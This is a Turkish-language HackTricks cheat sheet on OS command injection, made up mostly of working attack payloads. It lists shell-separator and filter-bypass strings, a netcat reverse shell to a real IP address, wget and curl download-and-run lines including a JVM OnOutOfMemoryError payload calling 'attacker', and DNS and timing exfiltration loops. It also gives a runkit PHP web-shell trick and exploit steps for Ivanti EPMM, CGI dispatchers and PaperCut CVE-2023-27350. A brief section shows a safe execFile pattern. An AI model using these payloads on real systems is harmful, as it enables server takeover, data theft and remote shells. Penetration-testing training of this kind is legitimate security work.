Command Injection

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin

command Injection nedir?

Bir command injection, bir uygulamayı barındıran sunucuda saldırganın rastgele işletim sistemi komutları çalıştırmasına izin verir. Sonuç olarak, uygulama ve tüm verileri tamamen ele geçirilebilir. Bu komutların çalıştırılması genellikle saldırganın uygulamanın çalışma ortamına ve altındaki sistem üzerinde yetkisiz erişim veya kontrol elde etmesine olanak sağlar.

Bağlam

Girdiğiniz verinin nerede enjekte edildiğine bağlı olarak, komutlardan önce tırnak içindeki bağlamı sonlandırmanız (" veya ' kullanarak) gerekebilir.

Command Injection/Execution

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

runkit etkinleştirilmiş PHP kural motorları

Bazı uygulamalar, yalnızca yöneticiye açık “kural motorlarını” saldırgan tarafından sağlanan PHP’yi çalıştırarak uygular. Eğer ortam runkit eklentisini etkinleştiriyorsa, bir saldırgan çalışma zamanında fonksiyonları yeniden tanımlayabilir veya enjekte edebilir ve yalnızca mantık tabanlı bir kural düzenleyicisini tam PHP RCE’ye yükseltebilir.

Indicators:

  • Yönetici arayüzü, değerlendirilen PHP-benzeri “kuralları” kabul eder.
  • runkit / runkit7 yüklü (phpinfo() veya extension_loaded('runkit')).

Abuse example (redefine a function used by the rules to execute a command):

<?php
runkit_function_redefine('checkBid', '$bid', 'system($_GET["cmd"]); return true;');

Eğer kural içeriği saklanıp daha sonra değerlendirilirse, web bağlamı içinde kalıcı bir RCE primitive haline gelir.

Sınırlama Bypasses

Eğer bir linux makinesi içinde herhangi bir komut çalıştırmayı deniyorsanız, bu Bypasses: hakkında okumak ilginizi çekecektir.

Bypass Linux Restrictions

Örnekler

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

RewriteMap/CGI-tarzı scriptlerde Bash aritmetik değerlendirmesi

RewriteMap helpers olarak yazılmış bash scriptler bazen query parametrelerini global değişkenlere atar ve daha sonra bunları aritmetik bağlamlarda ([[ $a -gt $b ]], $((...)), let) karşılaştırır. Aritmetik genişletme içeriği yeniden tokenize eder; bu yüzden saldırgan kontrollü değişken adları veya dizi referansları iki kez genişletilir ve çalıştırılabilir.

Ivanti EPMM RewriteMap helpers’ta görülen desen:

  1. Parametreler global değişkenlere eşlenir (stgStartTime, htheValue).
  2. Daha sonra kontrol:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
  1. st=theValue gönderin; bu, gStartTime’ın theValue adlı string’e işaret etmesini sağlar.
  2. h=gPath['sleep 5'] gönderin, böylece theValue bir dizi indeksi içerir; aritmetik kontrolde sleep 5 çalıştırılır (gerçek bir payload ile değiştirin).

Probe (~5s gecikme, zayıfsa 404 döner):

curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"

Notlar:

  • Aynı helper’ı diğer prefix’ler altında ara (ör., /mifs/c/aftstore/fob/).
  • Aritmetik bağlamlar bilinmeyen token’ları variable/array identifier olarak değerlendirir; bu nedenle bu, basit metacharacter filtrelerini atlatır.

Parametreler

Aşağıda code injection ve benzeri RCE zafiyetlerine açık olabilecek en yaygın 25 parametre yer almaktadır (kaynak: link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

Veri çıkarma: char by char

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

https://github.com/HoLyVieR/dnsbin kaynağındaki araca dayanır; ayrıca dnsbin.zhack.ca adresinde barındırılmaktadır.

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Çevrimiçi olarak DNS tabanlı data exfiltration’ı kontrol etmek için araçlar:

  • dnsbin.zhack.ca
  • pingb.in

Filtering bypass

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

JavaScript/TypeScript arka uçlarını denetlerken sık sık Node.js child_process API’siyle karşılaşırsınız.

// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec() bir shell (/bin/sh -c) başlatır; bu nedenle shell için özel anlamı olan herhangi bir karakter (back-ticks, ;, &&, |, $(), …) kullanıcı girdisi string içinde birleştirildiğinde command injection ile sonuçlanır.

Önlem: execFile() kullanın (veya spawn() shell seçeneği olmadan) ve her argümanı ayrı bir dizi elemanı olarak sağlayın, böylece hiçbir shell devreye girmez:

const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

Real-world case: Synology Photos ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into id_user which was later embedded in an exec() call, achieving RCE (Pwn2Own Ireland 2024).

Argument/Option injection via leading hyphen (argv, no shell metacharacters)

Tüm enjeksiyonlar shell metakarakterleri gerektirmez. Uygulama, güvensiz dizeleri bir sistem yardımcı programına argüman olarak iletirken (hatta execve/execFile ile ve shell olmadan bile), birçok program - veya -- ile başlayan herhangi bir argümanı yine de bir seçenek olarak ayrıştırır. Bu, saldırganın modları değiştirmesine, çıktı yollarını değiştirmesine veya tehlikeli davranışları tetiklemesine izin verir; hiçbir zaman bir shell’e girmesine gerek kalmaz.

Typical places where this appears:

  • Gömülü web UIs/CGI handlers that build commands like ping <user>, tcpdump -i <iface> -w <file>, curl <url>, etc.
  • Merkezi CGI yönlendiricileri (ör. /cgi-bin/<something>.cgi with a selector parameter like topicurl=<handler>) where multiple handlers reuse the same weak validator.

What to try:

  • Alt/sonraki araç tarafından bayrak olarak tüketilmek üzere -/-- ile başlayan değerler verin.
  • Davranışı değiştiren veya dosya yazan bayrakları kötüye kullanın, örneğin:
    • ping: -f/-c 100000 ile cihazı zorlayarak (DoS)
    • curl: -o /tmp/x ile rastgele yollar yazmak, -K <url> ile saldırgan kontrollü config yüklemek
    • tcpdump: -G 1 -W 1 -z /path/script.sh ile unsafe wrapper’larda post-rotate execution elde etmek
  • Program -- end-of-options’u destekliyorsa, --’u yanlış yere ekleyen naif mitigasyonları atlatmayı deneyin.

Generic PoC shapes against centralized CGI dispatchers:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

JVM tanılama geri çağırmaları ile garantili exec

Uygulama bytecode’una dokunmadan, _JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents vb. gibi inject JVM command-line arguments yapmanıza izin veren herhangi bir primitive güvenilir bir RCE’ye dönüştürülebilir:

  1. Force a deterministic crash: metaspace veya heap’i küçülterek: -XX:MaxMetaspaceSize=16m (veya küçük bir -Xmx). Bu, erken bootstrap sırasında bile bir OutOfMemoryError oluşmasını garanti eder.
  2. Attach an error hook: -XX:OnOutOfMemoryError="<cmd>" veya -XX:OnError="<cmd>" JVM abort ettiğinde herhangi bir OS komutunu çalıştırır.
  3. İsteğe bağlı olarak -XX:+CrashOnOutOfMemoryError ekleyerek kurtarma girişimlerini engelleyebilir ve payload’u tek seferlik tutabilirsiniz.

Example payloads:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"

Because these diagnostics are parsed by the JVM itself, no shell metacharacters are required and the command runs with the same integrity level as the launcher. Desktop IPC bugs that forward user-supplied JVM flags (see Localhost WebSocket abuse) therefore translate directly into OS command execution.

PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE

  • Etkilenen NG/MF sürümleri (ör. 22.0.5 Build 63914) /app?service=page/SetupCompleted yolunu açığa çıkarır; oraya girip Logine tıklamak kimlik bilgisi olmadan geçerli bir JSESSIONID döndürür (kurulum akışında authentication bypass).
  • In Options → Config Editor, print-and-device.script.enabled=Y ve print.script.sandboxed=N ayarlarını yapın; bu, printer scripting’i açar ve sandbox’ı devre dışı bırakır.
  • Yazıcı Scripting sekmesinde script’i etkinleştirin ve doğrulama hatalarını önlemek için printJobHook tanımlı kalsın, ancak payload’u fonksiyonun outside kısmına yerleştirin ki Applye tıkladığınızda hemen çalışsın (yazdırma işi gerekmez):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
  • callback’ı bir reverse shell ile değiştir; eğer UI/PoC pipes/redirects’i işleyemiyorsa, tek bir komutla bir payload sahnele ve ikinci bir request ile exec et.
  • Horizon3’s CVE-2023-27350.py auth bypass, config flips, command execution ve rollback işlemlerini otomatikleştirir—servis sadece içerden erişilebiliyorsa, bunu upstream proxy (ör. proxychains → Squid) üzerinden çalıştır.

Brute-Force Tespit Listesi

Auto_Wordlists/wordlists/command_injection.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Referanslar

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin